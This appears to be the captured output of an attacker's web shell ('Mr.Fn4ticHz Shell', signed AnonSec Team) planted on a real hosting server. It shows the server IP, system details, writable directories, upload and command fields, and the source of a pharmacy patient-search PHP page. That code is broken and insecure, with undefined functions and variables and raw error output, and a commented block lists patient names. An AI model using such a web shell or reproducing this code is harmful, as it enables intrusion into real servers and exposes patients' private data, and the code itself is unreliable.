Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.16.83.126
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/Pharmacy/searchpatient.php
<?php
session_start();
require_once('dbconnection.php');
require_once('../../DBManager.php');
require_once('../../LoginManager.php');

include('menu.php');
?>

<?php


    $patientid = $_GET['patientid']; 
   
    $min_length = 3;

     
    if(strlen($patientid) >= $min_length){ 
        $patientid = htmlspecialchars($patientid); 
       
        $patientid = mysql_real_escape_string($patientid);
 
         
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`patientid` LIKE '%".$patientid."%') OR (`patientname` LIKE '%".$patientname."%')") or die(mysql_error());
                 if(mysql_num_rows($raw_results) > 0){ 
            while($results = mysql_fetch_array($raw_results)){
            
                echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
                          }
             
        }
        else{ 
            echo "No results";
        }
         
    }
?>
<?php
 $familyid = $_GET['familyid']; 
       $min_length = 3;
       if(strlen($familyid) >= $min_length){ 
        $patientid = htmlspecialchars($familyid); 
                $familyid = mysql_real_escape_string($familyid);
        
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`familyid` LIKE '%".$familyid."%') OR (`patientname` LIKE '%".$patientid."%')") or die(mysql_error());
        
        if(mysql_num_rows($raw_results) > 0){ 
            while($results = mysql_fetch_array($raw_results)){
           
                echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
               
            }
             
        }
        else{ 
            echo "No results";
        }
         
    }
?>

<?php
 $numbers = $_GET['numbers']; 

    $min_length = 3;
    
     
    if(strlen($numbers) >= $min_length){
        $numbers = htmlspecialchars($numbers); 
       
        $numbers = mysql_real_escape_string($numbers);
        
        $raw_results = mysql_patientid("SELECT * FROM patient
            WHERE (`numbers` LIKE '%".$numbers."%') OR (`numbers` LIKE '%".$numbers."%')") or die(mysql_error());
        
        if(mysql_num_rows($raw_results) > 0){
            while($results = mysql_fetch_array($raw_results)){
                            echo "<p><h3>".$results['title']."</h3>".$results['text']."</p>";
                            }
             
        }
        else{ 
            echo "No results";
        }
         
    }
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">

    <title>Search</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    	<script>
function showUser(str) {
  if (str=="") {
    document.getElementById("txtHint").innerHTML="";
    return;
  }
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.onreadystatechange=function() {
    if (this.readyState==4 && this.status==200) {
      document.getElementById("txtHint").innerHTML=this.responseText;
    }
  }
  xmlhttp.open("GET","arangeby.php?q="+str,true);
  xmlhttp.send();
}
</script>
<style>
input[type=text],  select {
  width: 100%;
  padding: 10px 20px;
  margin: 3px 0;
  display: inline-block;
  border: 1px solid #ccc;
  border-radius: 4px;
  box-sizing: border-box;
}
 [type=submit], [type=button]{
  width: 100%;
  padding: 5px 20px;
  margin: 3px 0;
  display: inline-block;
  border: 1px solid #ccc;
  border-radius: 1px;
  box-sizing: border-box;
}

body {font-family: Arial;}

/* Style the tab */
.tab {
  overflow: hidden;
  border: 1px solid #ccc;
  background-color: #f1f1f1;
}

/* Style the buttons inside the tab */
.tab button {
  background-color: inherit;
  float: left;
  border: none;
  outline: none;
  cursor: pointer;
  padding: 12px 16px;
  transition: 0.3s;
  font-size: 17px;
}

/* Change background color of buttons on hover */
.tab button:hover {
  background-color: #ddd;
}

/* Create an active/current tablink class */
.tab button.active {
  background-color: #ccc;
}

/* Style the tab content */
.tabcontent {
  display: none;
  padding: 6px 12px;
  border: 1px solid #ccc;
  border-top: none;
}
</style>
    
</head>
<body>

     <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
                <div class="panel panel-default">
				<div class="panel-heading">
				
				</div>
			 <div class="tab">
			  <button class="tablinks" onclick="openCity(event, 'number')" id="defaultOpen">Search By Mobile Number</button>
  <button class="tablinks" onclick="openCity(event, 'uhid')" >Search By UHID</button>
  <button class="tablinks" onclick="openCity(event, 'family')">Search By Familyid</button>
 
   <button class="tablinks" onclick="openCity(event, 'email')">Search By Email</button>
      <button class="tablinks" onclick="openCity(event, 'name')">Search By Name</button>
</div>
			      
      <div id="uhid" class="tabcontent">
 <form action="search_uhid.php" method="GET">
    <input type="text" placeholder="Search by UHID" name="patientid" />
   <input type="submit" value="Search" />
     </form>
     </div>
      <div id="family" class="tabcontent">
      <form action="signin.php" method="GET">
     <input type="text" placeholder="Search by Familyid" name="familyid" />
    <input type="submit" value="Search" />
</form>
</div>


<div id="number" class="tabcontent">
    <form action="mobilenm.php" method="GET">
     <input type="text" placeholder="Search by Mobile Number" name="numbers" />
    <input type="submit" value="Search" />
</form>
</div>
<div id="email" class="tabcontent">
  <form action="email.php" method="GET">
     <input type="text" placeholder="Search by Email Id" name="Email" />
    <input type="submit" value="Search" />
</form>
</div>
<div id="name" class="tabcontent">
<form action="namesearch.php" method="GET">
     <input type="text" placeholder="Search by Name" name="patientname" />
    <input type="submit" value="Search" />
    </div>
</form>
 </div>
      <div id="family" class="tabcontent">
      <form action="signin.php" method="GET">
     <input type="text" placeholder="Search by Familyid" name="familyid" />
    <input type="submit" value="Search" />
</form>
</div>
<!--<div><input type="button" onclick="myFunction('Demo1')" value="Recently Registered"></div>-->
<!--<div id="Demo1" class="w3-container w3-hide">-->
<!--<form>-->
<!--<select name="users" onchange="showUser(this.value)">-->
<!--<option value="">Select a person:</option>-->
<!--<option value="1">pavan kumar singh</option>-->
<!--<option value="2">P L</option>-->
<!--<option value="3">Aishwarya Jaiswal</option>-->
<!--<option value="4">Pavan Suryavanshi</option>-->
<!--</select>-->
<!--</form>-->
<!--<br>-->
<!--<div id="txtHint"><b>Person info will be listed here.</b></div>-->
<!-- <div class="box-body">-->
<!--<table id="example2" class="table table-bordered table-hover" >-->
<!--      <thead>-->
<!--        <tr>-->
<!--          <th width="12%">Date</th>-->
<!--          <th width="12%">Time</th>-->
<!--          <th width="12%">UHID</th>-->
<!--           <th width="12%">UHID</th>-->
<!--          <th width="12%">Patient Name</th>-->
<!--          <th width="12%">FO & HO</th>-->
<!--          <th width="12%">City</th>-->
<!--         <th width="12%">View More</th>-->
<!--        </tr>-->
<!--        </thead>-->
<!--      <tbody>-->
   <?php
// 		$sql ="SELECT * FROM patient";
// 		$qsql = mysqli_query($con,$sql);
// 		while($rs = mysqli_fetch_array($qsql))
// 		{
//         echo "<tr>
//           <td  width='12%'>$rs[patientname]
// 	          </td>
// 		  <td  width='12%'>$rs[address]</td>
// 	      <td  width='12%'>$rs[pincode]<td>
//              <td  width='12%'>$rs[mobileno]</td>
// 			    <td  width='12%'>$rs[bloodgroup]</td>
//                 <td  width='12%'>$rs[gender]</td>
//                   <td  width='12%'>Ask Permission</td>
// ";
// if(isset($_SESSION[adminid]))
// {
// 		  echo "<a href='patient.php?editid=$rs[patientid]'>Edit</a> | <a href='viewpatient.php?delid=$rs[patientid]'>Delete</a> <hr>
// <a href='patientreport.php?patientid=$rs[patientid]'>View Report</a>";
// }
// 		  echo "</td></tr>";
// 		}
		?>

		  <script>
// function myFunction(id) {
//   var x = document.getElementById(id);
//   if (x.className.indexOf("w3-show") == -1) {
//     x.className += " w3-show";
//   } else { 
//     x.className = x.className.replace(" w3-show", "");
//   }
// }
</script>
<script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
function openCity(evt, cityName) {
  var i, tabcontent, tablinks;
  tabcontent = document.getElementsByClassName("tabcontent");
  for (i = 0; i < tabcontent.length; i++) {
    tabcontent[i].style.display = "none";
  }
  tablinks = document.getElementsByClassName("tablinks");
  for (i = 0; i < tablinks.length; i++) {
    tablinks[i].className = tablinks[i].className.replace(" active", "");
  }
  document.getElementById(cityName).style.display = "block";
  evt.currentTarget.className += " active";
}

// Get the element with id="defaultOpen" and click on it
document.getElementById("defaultOpen").click();
</script>

</body>
</html>


	

Anon7 - 2022
AnonSec Team